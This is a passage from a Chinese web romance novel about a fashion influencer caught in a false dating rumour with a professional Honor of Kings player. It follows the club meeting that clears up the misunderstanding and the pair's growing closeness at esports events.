祝愉听到回答,松了一口气,不是脸盲就好,还有机会。 “我叫祝愉。”她摘下一点口罩,撑着下巴,面向俞述,“以后可能还会有合作。” …… 就是这一幕,被某观众拍到发在了微博上,标题是【震惊!KPL天才中单重明竟与女友共同观看春决】,一路横冲直撞登上热搜第一,“爆”的标志紧跟其后。 观众席昏暗,模糊的男女身影,看似暧昧的氛围让画面很是和谐。 一时间,各个平台炸开了锅,开始讨论这个女生是谁。 就“重明女友”一标题转载过万,营销号全部启动,开始深挖女生的信息,一度压过了YSG夺得春季赛冠军的热搜。 【他什么时候谈的恋爱??????】 【不会吧,私生都不知道的事让我们先知道了?】 【这个小姐姐是谁啊?光看眼睛还挺好看的】 【露个眼睛就好看啊?你以为是大眼仔吗?】 【该不会是因为谈了恋爱比赛才输的吧】 【救命!虽然我是妈粉,但是小鸟怎么就恋爱了啊啊啊啊啊啊啊】 【祝福祝福,如果能再拿个冠军就好了】 【拜托,这不就是正常距离吗?万一人家是在聊天呢?】 【错位吧,重明说了谈恋爱会跟我们粉丝说的呀】 吃瓜群众一夜无眠,到了第二天早上,该话题才淡出热搜总榜。 一个是俱乐部发力降热搜,另一个是俞述本人一直没有出面回应,渐渐地,嗨了一晚上的粉圈以为这只是一个误解。 说不准就真是路人呢? 更何况之前也没有传出来俞述有恋爱的消息,怎么可能突然间多出一个女朋友,还明目张胆地来总决赛现场谈恋爱。 除非这是个爱现的竞嫂。 一时间众说纷纭,但无一例外地开始质问发帖人的意图。 …… 某酒店房间,一个女生看着热搜内容,觉得这人实在是眼熟。 女生犹豫了一下,还是把定时发送的帖子内容重新编辑了一下,把那张跟小竹的合照拖到底下删除,重新换了一张自拍上去。 就当不知道好了。 …… 而祝愉现在的唯一念头是“天崩开局”,还没开始追,就给俞述添了大麻烦。 她昨晚手机没电,整个人心事重重,回家后就睡了,完全不知道江笛给她打了十几个未接电话。 早上还没睡醒,江笛就闯入她的卧室把她摇醒,第一句话就是,“祝愉,你成竞嫂了。” 直接把她吓得瞌睡都没了,穿着睡衣,披头散发,战战兢兢地看着“重明恋爱”的词条从第一名一路降到二十名开外,才被江笛拽着去洗漱。 “这怎么办啊?” 她刷微博,看到一个点赞量只有个位数的账号在列举疑似热搜女主角的名字,居然有提到她,但幸好没有什么热度,更何况照片确实模糊,看不清女主人公的面貌,营销号想扒也有心无力,只能乱提几个名字制造点热度。 “哎呦,你也别多想,他们竞圈的各种八卦消息多得很,怎么可能事事都去管啊,而且这还是假的。”江笛安慰道,“到现在都没有任何人联系你做公关,说明这就是个小事,人俱乐部根本没把这热搜放在心上的。” 祝愉幽怨地转头看向江笛,“那俞述的呢?也很多吗?” 江笛无语,这是该关心的点吗? 她思考了一下,说道:“没听说过他谈没谈恋爱的事,电竞选手最受关注的还是成绩。” 祝愉无力地趴倒在桌子上,满心郁闷,也不知道他有没有喜欢的人,万一有,那不是给他添了个大麻烦。 让你色令智昏,凑那么近干嘛啊…… 桌上的手机突然嗡嗡作响。 “喂您好,啊对,我是简言工作室的老板,啊,是,是这样的,嗯……”江笛给祝愉使了个眼色,打开免提。 “就是请问一下您有没有那位女士的联系方式,我们想跟她聊一下……”一道女声传来。 祝愉瞪大眼睛,小声地问是谁,看到江笛的口型“FRG的运营”。 完了,顺藤摸瓜逮到她了。 “有是有,不过我想问一下怎么了吗?”江笛问道。 “就是关于热搜的事,我们也没有别的意思,就是想跟这位女士了解一些事。” 祝愉贴近,面色纠结地看向江笛,缓缓点了点头。 “好……要了解什么啊?这我方便问吗?” “具体的需要当面说,电话里也讲不清楚。”电话里的女人尬笑。 又聊了几句,江笛挂了电话,若有所思,“联系方式发给她了,我感觉应该没啥事,要不然就不是这种商量的口气了。” “那为什么要见面谈,电话里不行吗?”祝愉突然有些紧张。 “估计是害怕被录音了传到网上去吧。”江笛说道,“没事,到时候我陪你去。” 不一会儿,祝愉微信弹出来 一条好友申请,验证消息写着【我是FRG运营】。 通过验证,那边发来一个定位,显示着FRG的基地名称,说下午三点半在基地东门见,到了提前给她打电话,会有人来接她进去。 …… 当日下午三点,江笛临时有事不得不回工作室一趟,让祝愉有事给她打电话。但祝愉还没有收到运营的回信,就一个人先来基地附近的咖啡店等着。 她点了杯话梅汽水,坐在窗户边,正好能看到马路对面的基地,黑蓝色的“FRG”标志格外醒目。 FRG的基地位于市中心,一个月租金数十万起步,背靠互联网大厂,是实打实的豪门俱乐部。俱乐部除了王者荣耀,在英雄联盟、三角洲、无畏契约等赛事也有自己的战队,成绩都不错。 “你说今天会拍到俞述吗?”祝愉身后有个女生说道。 “不知道诶,现在是休赛期,说不定昨天活动结束之后就回家了呢。”另一个女生补了补妆。 “话说回来俞述谈恋爱的那个热搜是真的还是假的啊?” “我感觉是假的,要不然私生早爆出来了,哪能等到现在啊。” “但是前不久我听联盟的一个朋友说,有个小领导的女儿天天给俞述买零食送水的,可勤快了。” “唉……这就不知道了,其实谈恋爱也没什么,偏偏这次春季赛没打好……” 祝愉心虚地提着包,没敢转身,戴着口罩和墨镜走了出去。 …… “喂,您到基地门口了是吗?实在是不好意思,刚刚我们在开会,没注意到手机的消息……我这会让人下去接你啊,是个穿白色短袖的小伙子。” 祝愉在侧门等了几分钟,看到那天那个叫阿良的人推开门朝她小步跑来,她记得这人是俞述的助理。 她跟着阿良进去,上到二层,看到指示牌标着“王者荣耀分部”。 走廊很长,左右两边都是运营办公间和直播间,尽头处摆着几盆大叶绿植,拐了弯之后是一个很大的玻璃房,但是拉着百叶窗,也看不清里面,门口挂着“训练室”三个大字。 门开了个缝,可以听到里面的游戏声音,还时不时的有几句嚎叫。 祝愉不敢多看,她今天是有正事来的。 “良哥你要去干嘛啊?”声音从后面传来。 祝愉转头,一个看起来年纪很小的锅盖头男生提着一袋垃圾出来。 “有事去找一趟王总。”阿良停下脚步,“俞述在不在训练室,等会儿也让他来一下,王总找他,我今天打他电话他一直没接。” “哦哦,好,明哥刚到训练室,正打巅峰赛呢,可能没听见。”男生回道,但眼神一直瞟向祝愉。 祝愉笑了笑,算是打了招呼,跟着阿良进了斜对角的一个办公室。 进去前,祝愉看了眼,“赛训经理,王好好”。 …… 薰薰丢完中午吃剩下的盒饭,回到训练室,快步走到最里面坐着的那个男人身边,男人刚好结束一局比赛在喝水。 “王总让你去找他。” “找我干什么。”俞述拧住瓶盖,顺势起身。 “好像是你女朋友来了,你不去看看?” 这话一出,训练室里嘈杂的人声瞬间消失,游戏背景声交织融合,连续几条“Youhavebeensin”的英文口播响起。 俞述低头看了眼训练室的其他人,都在斜侧着眼偷瞄他。 “什么女朋友?”队伍里的上单飞渊问道。 “就是热搜上的那个啊!中午黄姐可给我说了,那个姐姐还是个网红呢!”薰薰兴奋地说道。 “是吗是吗?她在哪个平台啊,我去看看!” “话说你谈恋爱的事怎么不跟我们说啊,我们都没发现!”薰薰抱怨道。 “谈恋爱肯定要偷着谈才有意思啊。”旁边的教练91打趣道。 俞述懒得跟这帮人解释,退出游戏,对身后的嬉笑声置若罔闻,推开训练室的门走了出去。 5. 第5章 祝愉坐在沙发上,不着痕迹地打量着这间办公室。 正中间是办公桌,桌上堆放着几个蓝色文件夹,座位后的墙面改成了展柜,最上层摆着几座奖杯,中间的一层则是选手合照。 其中,俞述的照片被单独放在C位,他穿着队服,脖子上挂着金色的奖牌,眼睛亮晶晶的,笑着看向镜头。 阿良给祝愉倒了一杯水,便坐在旁边,小声说道:“王总是我们俱乐部的总经理,平时大大小小的事他都管。” 祝愉看着坐在办公桌后的男人,穿着简单的短袖与长裤,大概三十多岁的样子,看起来是个好说话的人。 挂了电话,王好好笑眯眯地对着祝愉说道:“不好意思啊,让你等这么久。” “没关系的。”祝愉微笑着回道。 多等一会儿没关系。 她现在表面看起来很镇定,其实心里面还是有点慌,多等一会儿还能让她缓缓。 王好好坐在祝愉对面,“祝小姐,我老婆特别喜欢你,家里好多件衣服都是你的同款。” 他喝了口水,“所以今早从我们运营那知道你的时候,我还挺惊讶的,我们俞述居然跟你认识,我就说得跟你见一面,回家跟我老婆炫耀一下今天见到她喜欢的博主了。” 祝愉谦虚地说了声谢谢,心里发紧,这开场白也太生硬了。 几人随便聊了几句,祝愉正松了口气,结果王总抛出来一个重磅问题。 “你跟俞述在谈恋爱吗?” 喉咙一涩,祝愉刚要开口时,正巧有人敲门进来了。 王总口中的主人公姗姗来迟。 应该是刚洗了把脸,额前的刘海还带着点水珠,在阿良的让位下,俞述坐在了祝愉旁边,属于年轻男人的气息扑面而来。 祝愉的身体骤然绷直,手指攥紧,无处安放。 王总看着这俩人,也没继续说下去,端起茶杯抿了口,几人相顾无言。 阿良看经理没说话,自己也没吭气。 俞述则是不知道叫他来做什么,而祝愉是感到无措。 跟对簿公堂一样。 又沉默了一会儿,祝愉的心已经沉到了谷底,她知道热搜的事跟她有很大的关系,也给俞述,包括俱乐部带来了一些不好的影响,所以早上俱乐部联系她的时候,她是把自己摆在了一个很被动的位置。 不管是发博文解释还是支付公关费用,她都可以接受,她又不是承担不起这后果。 但是现在算是什么? 把她叫来,随便聊两句,然后一直不说话,把她晾在这,是在等她表态吗?她要表什么态才会让俱乐部满意? 祝愉脸色微沉,开口道:“热搜的事我很抱歉,给俱乐部还有选手带来了很多不必要的麻烦,如果有什么需要我做的可以提出来,合理的内容我一定会配合的。” 还没等王总说话,旁边从进门开始就一直没有出过声的人突然说道:“这跟你没有关系,是我的原因。” 祝愉神情茫然,没有反应过来俞述这是什么意思。 俞述往前坐了坐,双手交叉,看向祝愉,“对于网上的舆论我其实无所谓,但是一张莫名其妙的照片却牵扯到了不相干的人。这个热搜也给你带来了很多麻烦,应该是我说抱歉。” “对不起。”俞述很认真地说。 “没关系……但你也被很多人带节奏了呀。”祝愉看着这双眼睛,说不出来什么冷淡的话。 今天一天,不管点开哪个软件,都会跳出“俞述疑似恋爱”的视频或者文章,评论区也有很多骂他的,说他忘本,是因为谈恋爱输的比赛,还有让他退役去谈恋爱,别打比赛耽误队友了。 恶毒的话其实很多,她都不敢再看下去。 “不看就好了,我又不在意这些。”俞述语气放软。 他其实也是到了俱乐部才知道的热搜,往常对于比赛之外的事他也不会关心…… 但是王总偏偏把祝愉叫来了。 “需要我做什么吗?”俞述一边说一边接过阿良的手机。 阿良的手机上登着他的微博。 “唉,等等等等,你要干什么,我啥话都没说,你搁这做什么决定啊。”王总连忙起身拦住,“而且你现在解释有个屁用,我热搜刚降下去,你发条微博,再给它升回去,你当坐电梯啊?” 王总撩了一把头发,靠在椅背上,叹了口气,“我今天就是把你俩叫来了解一下情况,那谈恋爱又不是啥大问题,但你现在是明星选手,我总要知道对方是谁吧,尤其祝小姐人气也不低,到时候是不是得好好做一下公关,要不然突然爆出来,那些合作方,还有粉丝和联盟,都会找我要个说法。” “祝小姐也真是不好意思,很冒昧地把你叫来,也确实是我们鲁莽了,就是想着当面说会更……” “我们没有谈恋爱。”俞述打断道,“我们昨天才认识。” “啊?”王总卡了壳,“那热搜啥意思?” 俞述挑眉,“你信了?” “那我能不信吗?昨晚上回来你就跟消失了一样,你房间密码又没人知道,阿良也进不去,大早上的也不见你人,我又一直开会,哪有时间找你。”王总越说越委屈,“我就以为你是因为被发现谈恋爱了,不敢露面躲起来了,我就只能先降热搜,连声明都没敢发,就想看你们是什么意思啊……” 祝愉听完之后头都大了,这都是什么事啊? 这误会也太大了,连人家老总都信了。 “手机摔碎了打不开。”俞述解释道,他不是不回消息,“而且我谈恋爱为什么要躲起来?” 王总一时语塞,确实,俞述虽然看起来比较乖,但是很有自己的想法,他想做什么就会去做,要是谈恋爱绝对就第一时间公布了,怎么可能瞒他们那么久。 现在想想,还是自己太敏感了。 毕竟昨晚开始,那联盟就一直问他是怎么回事,赞助商也在问,粉丝还在官博底下催公告,搞得自己也很急,没有细想。 “唉……”王总长叹一口气,搓了搓脸,这他妈的,屁电竞搞得跟娱乐圈一样,事儿咋这么多。 阿良在一旁没说话,他觉得王总搞的这一出纯粹是职业病犯了。 因为王总以前是某娱乐公司的公关负责人,自从跳槽到这边,对底下选手的那些花边新闻都过于敏感,所以次次都会为“选手谈恋爱”这种事大动干戈。 前段时间隔壁赛事的一个选手跟某个小网红搞暧昧闹出了不老少笑话,王总直接把俩人叫来,问是不是在认真谈恋爱,跟人家长似的问东问西,回去那俩人就吹了,再没联系。 俞述这还是几年来的第一次恋爱绯闻,也怪不得王总那么激动。 “那你刚刚那么维护她,我以为你还在藏。”王总突然想到什么,俞述这小子怎么可能对异性这么聊得来,那照片他可看了,不知道的真以为是俞述谈了,跟人家凑那么近,怪不得他会信啊。 真是烦,谁他妈找的拍摄角度,把他都给糊弄了。 “算了算了,就这样吧,我晚点让黄优那边出个声明。”王总摆了摆手。 事后,王总说自己还有会,让俞述带着祝愉随便转转。 祝愉不知道说什么,这件事虽然就这么结束了,但她还是对俞述心怀愧疚,毕竟她确实是心思不纯,因为对俞述有好感,才会在昨晚故意靠近他的。 不过现在这份好感,她也不好意思再进行下去了。 俞述的一举一动都被人关注着,除了比赛的压力,昨晚还因为她的一念之举,让俞述被这么大的舆论裹挟着,还为此被俱乐部约谈。 祝愉站定,她还是不要喜欢俞述了吧。 这是她单方面认识俞述的第三天,或许再过几天,她的喜欢也会减淡很多。 一时的心动,干扰了彼此的生活,她也应该主动结束才是。 她的心理活动没有人知道。俞述走在前面,宽松 的T恤随着摆动贴着他的腰背,打了这么久职业,肩线却利落平直,半点没有含胸驼背的疲态,祝愉看着他的背影看了很久。 或许是最后一次见面了吧。 直到分开,二人也只有简单的告别,再没有更深的交流。 …… 俞述回到训练室,让阿良帮他去修一下手机,又开了把巅峰赛,排队等待进入游戏。 “你女朋友呢?”91划着座椅靠近。 “她不是我女朋友。”俞述淡淡地回道。 “骗鬼呢啊?我刚从门缝看见你俩一块出去了。”91用笔戳着俞述的胳膊,一天天这么忙,还能抽出空去健身。 “你转去运营部了吗?” “啊?我教练,我去运营部干嘛,闲的啊?” “是啊,你很闲。”说完,俞述便不再搭理91。 91撇了撇嘴,长这么一张好看的脸,连个女朋友都不谈,一天天吃干饭的,没意思。 …… 祝愉从那天离开基地后就一直在忙。 早上跟品牌方沟通,下午到晚上就一直在拍摄,每天跑东跑西,拍完还得剪辑,祝愉累得连饭都吃不进去,瘦了好几斤,闲的时候也是盯着手机发呆。 期间江笛来过一回,问祝愉要不要去看FRG的比赛,她有认识的人可以拿到票,但是看着祝愉一副漠不关心的样子,她也没有再提过。 匆匆忙忙,就这样,一个星期过去了,祝愉在这天接到了一通电话。 …… 祝愉卷了头发,喷了香水,蹬了一双小跟皮鞋,挎着包去了市中心新开的一家日料店。 “小愉!”一个扎着马尾的女人招手喊道。 还没等祝愉坐下,女人就坐过来抱住了祝愉的腰,“想不想你姐啊?” “非常想!” 姐妹俩调笑了一番,才面对面坐下。 “你怎么没有提前跟我说你要来啊?”祝愉看着菜单问道。 “想给你一个惊喜呀!”女人笑嘻嘻地回道。 眼前这个女人是祝愉异父异母的姐姐,陈词恩,比她大三岁,十多年前她的妈妈带着她嫁给了陈词恩的父亲,组成一个了新的家庭。 陈词恩是一个热情似火但又心思细腻的女人,在祝愉刚到新家的时候,陈慈恩每天都带祝愉出去玩,陪着祝愉睡觉,祝愉受什么委屈了,陈词恩第一个为她打抱不平,对祝愉简直是掏心掏肺的好。 “你尝尝这个栗子塔,是日本那个小林大师的配方,这家店有跟他合作。”陈词恩推过来一份小甜品。 祝愉接过尝了一口,焦香的塔皮裹着绵密的栗子泥,隐约带着一股烘烤过的麦香,而黑朗姆酒的香气在舌尖漫开,入口醇厚却不腻。 跟之前在日本尝到的确实很像,栗子要是应季的就更好了。 陈词恩捏了捏祝愉的脸,眼里有些许心疼,“我看你那个账号每天都在更新,是不是很累,我感觉你都瘦了好多。” “没关系,后面就补回来了,趁着年轻不得多挣点钱。” 姐妹俩唠了一会儿,陈词恩说她工作调到了这边,今天先来收拾一下公司给租的房子,过几天就能搬来这边了。所以可能还要到祝愉这里小住一阵过渡一下。 祝愉当然欢迎,她已经好久没有跟陈词恩待在一块儿了。 “我记得你在当什么比赛的主持人,调到这边是要换岗位吗?”祝愉吃了一口甜虾问道,陈词恩一般不跟家里说她的事。 “是正常调动,这次要去更高一级别的赛事主持,场地不一样,住这边会更方便一点。” “哦,那是不是会很忙啊?” “会吧,KPL那边比赛很多,要准备的确实不少。”陈词恩半年以前就开始熟悉赛事流程,把近几年的比赛视频翻来覆去看了个遍,做了很多页笔记。 祝愉听到这,筷子一下没拿稳,刚夹起的海胆直线降落,在桌子上溅起几点料汁。 6. 第6章 “你要去哪?”她怀疑是自己听错了。 “就是一个游戏的赛事主持。” “王者荣耀吗?”祝愉不可置信地又问了一遍。 陈词恩肯定道:“是啊,我之前没有跟你说过吗?” 祝愉摇头,陈词恩去年突然回国,参加完她的毕业典礼就说去一个朋友那工作,也没具体说是什么内容,她只知道是什么比赛的主持人。 陈词恩这一年忙得脚不沾地,过年回家几天都在处理工作,而祝愉也是忙着拍平面照,她刚回家,陈词恩就赶去出差,正好错过。她们两个可以说几乎快一年没有坐下来好好聊天了。 “我那个朋友家是做传媒公司的,我回国也没事干,他那正好缺人,就让我过去帮忙。”陈词恩末了补充道,“我发现做主持还挺有意思的,看他们比赛感觉自己也年轻了好多。” “你又不老。” “哎呦,谦虚一点嘛。”陈词恩大笑。 “你看不看这些比赛啊?” 祝愉嚼着饭,支吾着不知道怎么说。 其实她这几天一直在看近期的比赛回放,但只看FRG的比赛,明明说着不要喜欢俞述了,却还是忍不住去翻他的视频和照片,听到解说夸他的操作,嘴角都咧着,有一种与有荣焉的错觉。 看完之后又是一阵后悔,唾弃自己的动摇。 没得到回答,陈词恩也没有问下去,她觉得祝愉也不像是会对这种比赛感兴趣的人,接着便向祝愉吐槽她原先的助理。 那个助理在公司干了四五年,结果背地里卖电竞选手的私人行程,赚了十几万,被公司发现后就离职了。但现在的问题是,公司说还得再过几天才能给她安排到合适的人,这段时间只能辛苦她一个人上班,不过主要的事务交接,公司会帮她沟通的。 “所以,你愿意当我这几天的助理吗?如果你不忙的话……我这几天面了好几个我都不太满意。” 看着陈词恩楚楚可人的眼睛,祝愉犹豫了一下便答应了,她这段时间把该忙的都忙完了,应该会休息几天。 …… 答应后的隔天,祝愉就后悔了,因为陈词恩把她拉到了比赛场馆,彩排新赛季的抽签仪式。 看见抽签嘉宾的名字,祝愉闭上了眼。 “FRG重明”这几个字印在这张薄薄的A4纸上,直击她的灵魂。 祝愉低迷了一阵,给自己心理暗示:想要忘记一个人,就要接纳想念,想念只是一种习惯,不是还喜欢,她现在应该给自己做一下脱敏,久而久之,便会忘记一切。 心理暗示的第二天,祝愉见到了俞述,心中的堡垒摇摇欲坠,宣告着此次脱敏活动的失败。 那个人好像天生带着光环,他拿着话筒,站在舞台中间接受着主持人的采访,灯光落下,自信而松弛,每一句话的尾音化作钩子牵动着祝愉的心。 祝愉明白了什么是一个人的心会为另一个人的出现而柔软,即便强装冷漠,但遇到那个人时,心中的防线会自然为他让出通道…… 她企图将脑海中的人影甩出去,但不知为何却越来越清晰。 那修长的五指轻握住话筒,指型漂亮,白皙的肌肤在舞台灯光下泛着亮色。语毕,两手垂在身侧,认真听着身边的人说话,脖颈线条流畅利落,喉结轻轻滚动。 半个月没见,她却越来越在意他,越来越想念他。 祝愉目光放空,低头看着脚下四处蜿蜒的电缆,正仔细琢磨着那线的走向,一只修长的手出现在她的视线里,递给她话筒。 祝愉抬头,正好落进那双瞳仁透亮的眼睛。 她慌忙接过话筒,侧过身,无意识地扣弄上面的图标。 俞述下了舞台后便站在她旁边,没有离开,也没有打招呼。 祝愉更不敢自作多情地凑上去。两人并肩沉默,气氛稍有凝滞。 站了好一会儿,上完厕所的陈词恩姗姗来迟,接过祝愉手里的话筒,没顾得上这边诡异的气氛就又上了场。 茫然之际,一股热源靠近。 俞述在给工作人员让路。 舞台侧边的路有些拥挤,摆放着很多道具,两个人并排走就得胳膊贴着胳膊,十分的不方便。 在如此之狭窄的通道处,俞述还是尽量跟祝愉保持了十厘米的空隙,没有分毫地越界。 昏暗的场景,男香女香缠绕黏连,近到可以听见彼此的呼吸,又远到两人仿佛从来不认识。 祝愉的心微微酸涩,她找不到顺理成章的开场白,即便是一句简单的问候。 但这短暂的靠近已经填满了她那逐渐落空的思绪,像是漂浮在大海中间的船,一下深一下浅,慌张的同时又贪恋那仅存的安全感。 …… “小鸟怎么在这呢,刚刚还以为你在观众席呢。”一个高瘦男人走了过来,亲昵地搂上了俞述的肩膀。 高瘦男人是念一,YSG的第一任辅助,不过已经退役了,在队伍里充当吉祥物。 随着念一的晃动,俞述的胳膊猝不及防贴到了旁边的女生,温热的触感透过薄薄的衣袖相互传递,短暂的肌肤触碰,让祝愉宕机了几秒。 俞述身体微僵,瞳孔不自然地缩了一下,睫毛轻颤,指尖不自觉收拢,余光里,祝愉并没有什么反应,他悄悄吐了一口气,却没后退。 “你不是采访完了吗?”念一没有察觉到异样,“怎么还站在这。” “在等姜其然。”俞述言简意赅,台上正在采访的是姜其然和他们的教练阿渡。 念一看了眼舞台,“等人去座位上等呗,站这挤的要死。” 话语间,陈词恩采访完跟着一块下来,等会主持抽签环节的是一个男主持,她的部分已经结束了。 “累不累啊,你也不说过去坐着歇歇。”陈词恩提着裙摆,把话筒交给导播。 念一这才发现角落处还站着一个女生,被俞述挡得严严实实的,他都没发现。 “就一会儿,我等你结束再走。”祝愉摇摇头,轻声说道。余光却指向一边,那里早已空空如也,刚刚在那站着的人已经跟姜其然走了。 陈词恩哦了一声,却看到祝愉漫不经心的模样,她顺着视线向后望去,一抹蓝色从转角处消失不见。 那是重明吧? “诶,悦悦,等会我们结束了有聚餐,要不要一块儿去。”刘琦凑近小声说道,“几个主持和解说正好都在。” 陈词恩纠结了一下,“我等会还要跟我妹……” “没事,让妹妹也一起来呗,珊珊还是你妹妹的粉丝呢,刚刚在群里一直轰炸我,要让我把妹妹也叫来呢。” 陈词恩小声问祝愉的意思,如果不想去的话就算了。 祝愉点了点头,这还是陈词恩第一次跟同事聚餐,也不好不去。 “OK,下班了我给你发消息啊,不见不散。”刘琦笑着说完,便上台主持去了。 …… 抽签结果出来,FRG在第二小组,堪称死亡小组,因为目前实力比较强的队伍都在这一组。 直播一结束,粉圈哗然一片,不少人夸张地说即将会看到有史以来最大范围的粉丝掐架、串子挑事、黑子挑唆的场面。 流量和实力拉满,更别提还有VRGM这支队伍。 VRGM两年前买了俞述老东家KG的席位后,全员挂牌,只留下了一个选手,锦歌。 俞述曾经是他的替补。 KG时期,自俞述成为首发之后,一系列的阴谋论随之而来,关于俞述的谣言说得有鼻子有眼,导致俞述初登场时期的网络舆论可谓糟到透顶。 而那时的俱乐部根本无暇顾及选手的舆论环境,置之不理,导致粉圈对立互撕得更严重,粉丝之间还因此结了仇。 …… “我靠,这是不会俞述转会后两个人第一次交手啊?”网友1234发了个讨论帖。 【好像是,之前他们队伍交手的时候,重明正好休息没有登场】 【休息个屁,那一看就是怕了,知道自己打不过,赶紧装作生病换替补上来】 【呵呵,多少年了,jg的巅峰期有过吗?想装病都怕晚节不保吧】 【就是说啊,殊不知你小鸟哥一直巅峰期,谁怕这歌混啊,只会在赛场上靠混赢比赛】 【比不上这群爱开香槟的,粉丝吹了这么久还不是大满贯,贷款连冠这么久,就差糊屎给奖杯镀金了】 【抽歌混冠军皮肤×100,可惜歌混没有,区就是区,少来这现眼】 比赛还没开始,各路人马已经吵出了一片天际。 仪式结束后,祝愉靠在门口刷比赛讯息,看到一条“论重明的职业生涯还能坚持几年”的帖子,本来是粉丝心疼俞述手伤而开的,结果今天闯入一批对家毒唯,在评论区叫嚣着,诅咒俞述断手退役。 “这也太过分了,神经病吧。”祝愉忍不住骂了句,动手点举报。 “什么?” 祝愉心中一惊,回头看,参加完抽签仪式的选手三两结伴走来。俞述正好是第一个出来的,恰巧听见了这句音量不小的骂声,面色有些许疑惑。 “哇塞,小姐姐你好啊,还记得我吗?”薰薰咧着嘴挤过来。 “记得,你是薰薰。”祝愉尴尬地扯起一抹笑,悄悄看了眼俞述。 “我就知道我这么可爱没有人会不记得我。” “你赶紧拉倒吧,说这么恶心的话,不知道的人以为我们家打野是垃圾桶转世呢。”飞渊作呕道。 五七小声地问旁边的灼忧,“这谁啊?” “我不知道。” “小鸟的女朋友。”91阴恻恻地夹在两人中间说道。 女朋友?五七张大了嘴,啥玩意女朋友?他跟俞述是一个队的吧,他咋不知道这事啊? 旁边的灼忧听此言,立马狗腿子的凑到俞述身边,要跟祝愉握手,“嫂子你好,我是咱队的辅助灼忧,老大的饮食起居都是我在负责。” 祝愉顿时脸红一片,连忙摆手说她不是。 几个别队的选手路过,来回扫视。 俞述下颌微微绷紧,面上没有起伏,好像没有发生什么,但唇角微动似是有一丝局促。 这时,陈词恩换好衣服,背着包出来了,看着门口伫立的这几人,上下打量了一眼,她跟这些选手其实都还不太熟。好在刘琦跟在后面,拉着陈词恩跟FRG的这帮人打招呼。 “这是咱新来的主持,叫悦悦。” “你好啊!”薰薰没有放过任何一个介绍自己的机会,凑在前面一直在找话说,非常的自来熟。 反观一边站着的俞述,早已置身事外,拿着手机看比赛视频。 见没人看向这边,祝愉心思逐渐活络,跃跃欲试,踌躇了一会儿便小步挪了过去。 “你比赛要加油啊。”又补充了句,“我会一直给你加油的。” 祝愉心里七上八下,几秒后得到了一句轻声回应—— “好。” 像是石子落入湖面荡起阵阵涟漪,这点点欢喜瞬间涌入心中,波澜不断。 祝愉还在想着要说些什么的时候,陈词恩朝她招了招手,让她过来。 “原来你们是姐妹啊,我就说美女都是出自一家的,怪不得怪不得。”91哇了一声。 祝愉走来,静静听着他们聊天。 “感觉你们一动一静,正好互补。” “是啊,我妹比较文静。” “哦~所以说老大喜欢文静的……”话还没说完,灼忧就挨了飞渊的一脚。 那天灼忧和五七不在训练室,但他和薰薰都在,知道祝愉不是俞述的女朋友,偏偏91这个老不正经的搁这乱开玩笑,这傻缺还信了。人家姐姐都在这,你还叨叨叨,一点情商都没有。 “我靠,你干什么,疼死我了。”灼忧龇牙咧嘴道。 飞渊一脸赔笑,陈词恩没有说话,扯了扯嘴角,看向祝愉,眼神询问怎么回事。 祝愉抿了抿嘴,小声道:“回去再跟你说。” 但偏偏91又添了一把火,朝俞述喊道:“俞述你过来,有事跟你说。” 他可知道俞述连人家联系方式都没有,在这洋洋得意自己牵红线的技术。但在飞渊眼里就是烂透了,演技烂到连金扫帚奖都要给他单开一个奖项。 在教练的拉扯下,祝愉多了几个微信好友,美名其曰后面有时间可以一起约饭。 “都是年轻人啊,多联系联系!”91拍了拍俞述,眼睛却看着祝愉,仿佛意有所指。 闲扯了几句,FRG后面还约了训练赛,便先坐车离开了。 不一会儿,祝愉手机震动。 俞述:你要看哪一场比赛? 祝愉回了个问号,什么比赛? 俞述:姜其然说你朋友问他有没有门票,你要来看比赛。 祝愉的脑海里飘过一堆问号,她怎么不知道自己有说过这话。 回忆了半天才想起几天前江笛好像有问过自己要不要去看比赛,她能要到票,不过祝愉拒绝了。 但没说是直接问选手要啊。 许是没得到回应,俞述那边也没有再继续发消息。 祝愉大着胆子发了句。 【每一场比赛都可以吗?】 隔了一个小时,祝愉已经开始吃饭了,收到了俞述的消息。 “可以。” 7. 第7章 夜深,卧室里只亮着一盏光色淡然的台灯。 祝愉躺在床上,卷着被子翻来覆去。 “可以……” 她反复咀嚼这两个字,好像还能从中觉出别的意思。 俞述有给其他女生送过票吗? 祝愉翻过身思索着。 “你不睡觉蛄蛹什么呢?”陈词恩拍着脸上的乳液,掀起被子躺在祝愉的旁边,“对了,你跟那俞述什么情况?” “没什么情况……”祝愉含糊道,但还是把之前热搜的事说给了陈词恩听,掐掉了自己对俞述别有图谋的部分。 “什么!?你怎么才跟我说这事,我就说那照片上的人怎么那么眼熟。”陈词恩翻起身,她当时看了眼热搜,还觉得那女生的身形很熟悉的,但也没往祝愉身上怀疑,祝愉又不关注电竞。 陈词恩打开微博,连忙翻看那条爆料,“没有人扒出来是你吧。” “没有,那么糊的照片,也就只有你能认出我了。”祝愉打了个哈欠,强撑着回了句。 要不是俞述的那条消息,她估计早睡了,哪能兴奋到这会儿。 “那就好。”陈词恩刷了一会儿,好多帖子已经删了,也看不到什么,“但是我怎么感觉你俩氛围那么的不对劲呢……” 半天没听见回应,陈词恩转头一看,浅浅的灯光将那脸庞晕染上一层柔和的颜色,眉眼恬静,神情安然,带着好心情沉沉睡去。 …… 端午节前夕,祝愉接了个平面拍摄。 Lumina跟祝愉一直有线上合作,他们家的衣服价格适中,受众面比较广,接连开了很多家网店和实体店,好多明星也都在穿。 这还是第一次邀请祝愉来线下拍摄。 据说是老板想要把位于商圈的分店升级改造一下,定位偏年轻化一点,主要面向青少年消费者。所以这次花大价钱请了几个当下受年轻人喜欢的博主来拍摄新品海报,到时候还要在门店配合宣传。 离约定的时间还有半个多小时,祝愉打算去旁边的巷子买杯咖啡。 今天的摄影地点在文创园,祝愉经常来这边,对这还算是熟门熟路。 走了几分钟,前面好像有拍摄,密密麻麻的人将巷子围得水泄不通,祝愉只能转身从左边的岔路口绕过去。 这条路更窄,也很绕,但是两边店铺的布景做得很好,田园氛围浓厚,祝愉看时间还来得及,便推开其中一家手作店,打算淘点搭配用的首饰。 转了一圈,大部分都是日常能够用到的东西,手链、戒指、零钱包…… 走到转角处,一个木雕的小吊坠挂在墙壁上,是一个咧嘴笑的卡通小狗,两边的牙尖尖的,昂首挺胸看向前面,很是神气。 祝愉不知为何想起了俞述。 他要是笑起来肯定更可爱。 …… “慢走,欢迎下次光临。” 祝愉在这家店买了一堆配饰,其中就有那条吊坠,她打算找个机会送给俞述。 买完咖啡,祝愉原路返回,在摄影棚门口看见了几个熟人,都是这次来拍摄的,之前有在线下活动见过。 “哈喽~好久不见~” 